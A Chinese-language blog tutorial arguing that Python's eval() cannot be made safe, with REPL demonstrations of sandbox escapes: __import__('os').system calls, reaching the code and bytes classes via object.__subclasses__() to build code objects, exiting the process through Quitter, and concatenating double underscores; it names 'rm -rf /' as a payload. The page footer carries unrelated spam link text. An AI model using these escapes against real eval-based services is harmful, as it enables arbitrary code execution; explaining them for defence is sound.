<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          看完此文,你還會用 eval 嗎?

          共 7039字,需瀏覽 15分鐘

           ·

          2020-11-06 05:58

          Python 有一個內(nèi)置的 eval() 函數(shù),可以直接執(zhí)行 Python 代碼,比如:
          assert?eval("2?+?3?*?len('hello')")?==?17
          這個函數(shù)功能非常強(qiáng)大,但也非常危險,請不要把該函數(shù)提供給不信任的調(diào)用方。假設(shè)傳入的字符串是 os.system('rf -rf /'),那么 eval 函數(shù)就會刪除你電腦上的所有文件,下文舉例子時我用 'ls' 來代替 'rm -rf /',免得你直接復(fù)制代碼運(yùn)行時導(dǎo)致災(zāi)難發(fā)生。
          一些人看了 eval 的官方文檔說明,可能會說,只要傳給 global 參數(shù)一個空的字典,eval 就無法使用全局變量,這樣不就安全了嗎?比如下面的代碼 eval("os.system('ls')", {}) 就會報錯:
          >>>?import?os
          >>>?eval("os.system('ls')",?{})
          Traceback?(most?recent?call?last):
          ??File?"",?line?1,?in?
          ??File?"",?line?1,?in?
          NameError:?name?'os'?is?not?defined
          >>>?
          其實(shí)這樣仍然非常不安全,我們?nèi)匀豢梢越柚鷥?nèi)置的函數(shù) __import__() 來導(dǎo)入標(biāo)準(zhǔn)庫,比如 eval("__import__('os').system('ls')", {})
          >>>?eval("__import__('os').system('ls')",?{})
          Desktop????????????????burp.der
          Documents????????????ctf
          Downloads????????????flag5.txt
          Library????????????????gitee
          Movies????????????????github
          Music????????????????kali
          Parallels????????????key.txt
          Pictures????????????log
          ...
          有人可能會說來,那我把內(nèi)置的函數(shù)也給屏蔽掉,這樣總安全了吧:
          >>>?eval("__import__('os').system('ls')",?{'__builtins__':{}})
          Traceback?(most?recent?call?last):
          ??File?"",?line?1,?in?
          ??File?"",?line?1,?in?
          NameError:?name?'__import__'?is?not?defined
          那現(xiàn)在真的安全了嗎?一些人可能會認(rèn)為這下安全了。
          其實(shí)仍然不安全。
          原因是我們依然可以使用 Python 內(nèi)部的一些類,還可以自己構(gòu)造字節(jié)碼,請慢慢向下看。
          首先要知道,eval 除了接受 Python 字符串,還可以 Python 字節(jié)對象(code object)。Python 的運(yùn)行過程就是首先通過 compile 構(gòu)建一個字節(jié)對象,得到代碼的字節(jié)碼,之后根據(jù)不同的字節(jié)碼進(jìn)行不同的操作,假如我們可以構(gòu)造 Python 的字節(jié)碼對象,那幾乎可以使用 eval 來執(zhí)行任何我們想要的結(jié)果。
          用代碼來解釋下:
          比如我們要執(zhí)行:
          import?os
          os.system('ls')
          Python 解釋器會先編譯成 code 對象,然后執(zhí)行的:
          >>>?code_str?=?'''
          ...?import?os
          ...?os.system('ls')
          ...?'''

          >>>?code_obj?=?compile(code_str,'','exec')
          >>>?code_obj
          ?at?0x7fc5741175b0,?file?"",?line?2>
          >>>?eval(code_obj)
          Desktop????????????????burp.der
          Documents????????????ctf
          Downloads????????????flag5.txt
          Library????????????????gitee
          Movies????????????????github
          Music????????????????kali
          Parallels????????????key.txt
          Pictures????????????log
          code_obj 就是 Python 內(nèi)置的 code 類對象,eval 可以直接執(zhí)行,
          >>>?help(code_obj)

          class?code(object)
          ?|??code(argcount,?posonlyargcount,?kwonlyargcount,?nlocals,?stacksize,
          ?|????????flags,?codestring,?constants,?names,?varnames,?filename,?name,
          ?|????????firstlineno,?lnotab[,?freevars[,?cellvars]])
          ?|
          ?|??Create?a?code?object.??Not?for?the?faint?of?heart.
          ?|
          ?|??Methods?defined?here:
          ?|
          ?|??__eq__(self,?value,?/)
          ?|??????Return?self==value.
          ?|
          ?|??__ge__(self,?value,?/)
          ?|??????Return?self>=value.
          ?|
          ?|??__getattribute__(self,?name,?/)
          ?|??????Return?getattr(self,?name).
          ?|
          ?|??__gt__(self,?value,?/)
          ?|??????Return?self>value.
          ?|
          ?|??__hash__(self,?/)
          現(xiàn)在我們需要構(gòu)造 code 對象,要構(gòu)造 code 對象,就要使用內(nèi)部的 code 類,如何獲取 code 類呢?我們要獲取 Python 內(nèi)置的 object 對象,可以這樣做:
          >>>?[].__class__.__bases__[0]
          <class?'object'>
          這里 [] 表示一個 list 對象,那么它的基類就是內(nèi)置的 object 類。找到類 object 類,我們就可以找到 object 類的所有子類:
          >>>?[].__class__.__bases__[0].__subclasses__()
          [<class?'type'>,?<class?'weakref'>,?<class?'weakcallableproxy'>,?<class?'weakproxy'>,?<class?'int'>,?<class?'bytearray'>,?<class?'bytes'>,?<class?'list'>,?<class?'NoneType'>,?<class?'NotImplementedType'>,?<class?'traceback'>,?<class?'super'>,?<class?'range'>,?<class?'dict'>,?<class?'dict_keys'>,?<class?'dict_values'>,?<class?'dict_items'>,?<class?'dict_reversekeyiterator'>,?<class?'dict_reversevalueiterator'>,?<class?'dict_reverseitemiterator'>,?<class?'odict_iterator'>,?<class?'set'>,?<class?'str'>,?<class?'slice'>,?<class?'staticmethod'>,?<class?'complex'>,?<class?'float'>,?<class?'frozenset'>,?<class?'property'>,?<class?'managedbuffer'>,?<class?'memoryview'>,?<class?'tuple'>,?<class?'enumerate'>,?
          ......
          這里就獲取到了 Python 內(nèi)置的所有類,共有 181 個,我們用變量 all_classes 來保存這些類:
          >>>?all_classes?=?[].__class__.__bases__[0].__subclasses__()
          >>>?len(all_classes)
          181
          >>>?[c?for?c?in?all_classes?if?c.__name__?==?'code'][0]
          <class?'code'>
          >>>
          好了,我們找到了 code 類,現(xiàn)在,我們的目的是為了執(zhí)行 __import__('os').system('ls') 我們先看下 Python 把這段代碼編譯成的 code 類是什么樣:
          >>>?code_str?=?"__import__('os').system('ls')"
          >>>?code_obj?=?compile(code_str,'','single')
          >>>?code_obj
          ?at?0x7fd06074abe0,?file?"",?line?1>
          >>>?code="codeObj({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
          ...??????code_obj.co_argcount,\
          ...??????code_obj.co_posonlyargcount,\
          ...??????code_obj.co_kwonlyargcount,\
          ...??????code_obj.co_nlocals,\
          ...??????code_obj.co_stacksize,\
          ...??????code_obj.co_flags,\
          ...??????code_obj.co_code.hex(),\
          ...??????code_obj.co_consts,\
          ...??????code_obj.co_names,?\
          ...??????code_obj.co_varnames,\
          ...??????code_obj.co_filename,\
          ...??????code_obj.co_name,\
          ...??????code_obj.co_firstlineno,\
          ...??????code_obj.co_lnotab.hex(),\
          ...??????code_obj.co_freevars,\
          ...??????code_obj.co_cellvars)
          >>>?print(code)
          codeObj(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os',?'ls',?None),('import',?'system'),(),'','',1,bytes.fromhex(''),(),())
          code、bytes 都可以從上述 all_classes 獲取,這樣我們分部執(zhí)行,就可以執(zhí)行我們的代碼:
          >>>?all_classes?=?[].__class__.__bases__[0].__subclasses__()
          >>>?code?=?[c?for?c?in?all_classes?if?c.__name__?==?'code'?][0]
          >>>?bytes?=?[c?for?c?in?all_classes?if?c.__name__?==?'bytes'?][0]
          >>>?code_obj?=code(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os',?'ls',?None),('__import__',?'system'),(),'','',1,bytes.fromhex(''),(),())
          >>>?eval(code_obj)
          Desktop????????????????Movies??????????????Public??????????????burp.der????????????github??????????????py38env
          Documents????????????Music???????????????Virtual?Machines.localized??ctf?????????????kali????????????????test.py
          Downloads????????????Parallels???????????aaa.txt?????????????flag5.txt???????????key.txt?????????????tmp
          Library????????????????Pictures????????????bin?????????????gitee???????????????log?????????????zzzz.txt
          可以看到 eval(code_obj) 已經(jīng)成功執(zhí)行, 轉(zhuǎn)換成一個字符串就是:
          >>>?s?=?"""eval(?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?'code'?][0](0,0,0,0,3,64,?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?'bytes'?][0].fromhex('650064008301a0016401a101460064025300'),('os',?'ls',?None),('__import__',?'system'),(),'','',1,?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?'bytes'?][0].fromhex(''),(),()))"""
          >>>?eval(s)
          Desktop????????????????Movies??????????????Public??????????????burp.der????????????github??????????????py38env
          Documents????????????Music???????????????Virtual?Machines.localized??ctf?????????????kali????????????????test.py
          Downloads????????????Parallels???????????aaa.txt?????????????flag5.txt???????????key.txt?????????????tmp
          Library????????????????Pictures????????????bin?????????????gitee???????????????log?????????????zzzz.txt
          0
          >>>?eval(s,{'__builtins__':{}})
          Traceback?(most?recent?call?last):
          ??File?"",?line?1,?in?
          ??File?"",?line?1,?in?
          NameError:?name?'__import__'?is?not?defined
          注意,eval 里面還可以使用 eval, 傷心的是,加上參數(shù) {'__builtins__':{}} 后仍然會報錯,說明 __import__ 在 code 對象層面依然是無法繞過的,不過上述方法給了我們一些新的思路,那就是可以自行構(gòu)造字節(jié)對象。這并不是說 eval 就真的安全了,比如,下面的字符串如果傳給 eval 參數(shù),整個 Python 進(jìn)程將會退出。
          (py38env)????~?python
          Python?3.8.5?(v3.8.5:580fbb018f,?Jul?20?2020,?12:11:27)
          [Clang?6.0?(clang-600.0.57)]?on?darwin
          Type?"help",?"copyright",?"credits"?or?"license"?for?more?information.
          >>>?eval('quit()',{'__builtins__':{}})
          Traceback?(most?recent?call?last):
          ??File?"",?line?1,?in?
          ??File?"",?line?1,?in?
          NameError:?name?'quit'?is?not?defined
          >>>?s?=?"""?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?"Quitter"?][0](0,'quit')()?"""
          >>>?eval(s,?{'__builtins__':{}})
          (py38env)????~
          上述方法就是繞過了 __builtins__ 的限制,仍然使用了 Quitter 類來退出整個 Python 進(jìn)程。
          eval 中的受限模式 ?eval(string, {'__builtins__':{}}) 是明確嘗試將某些“危險”屬性訪問列入黑名單。如我們所見,現(xiàn)有的受限模式還不足以防止惡作劇。
          那么,可以使 eval 安全嗎?很難說。在這一點(diǎn)上,很多人的猜測是:如果您不能使用任何雙下劃線,不就安全了。
          我只能說,傳給 eval 的字符串是排除任何帶有雙下劃線的字符串,那么也許是安全的。因為某些操作依然可以構(gòu)造出雙下劃線,如下所示:
          >>>?eval('eval("()._"?+?"_class_"?+?"_._"?+?"_bases_"?+?"_[0]")')
          <class?'object'>
          >>>
          因此,受限模式下,傳給 eval 的字符串是排除任何帶有下劃線的字符串,那么也許是安全的。
          如果本文對你有所幫助,歡迎點(diǎn)贊、轉(zhuǎn)發(fā)、關(guān)注,感謝支持。

          關(guān)于 Python 字節(jié)碼的深度文章,還可以看看這兩篇文章,閱讀原文可以點(diǎn)擊訪問下述鏈接:
          • Exploring Python Code Objects

          • Python沙箱?不存在的


          瀏覽 46
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  国产一区二区三区片 | 久久大香 | 久久免费丝袜足交视频 | 色老板最新网址 | 秋霞成人无码 |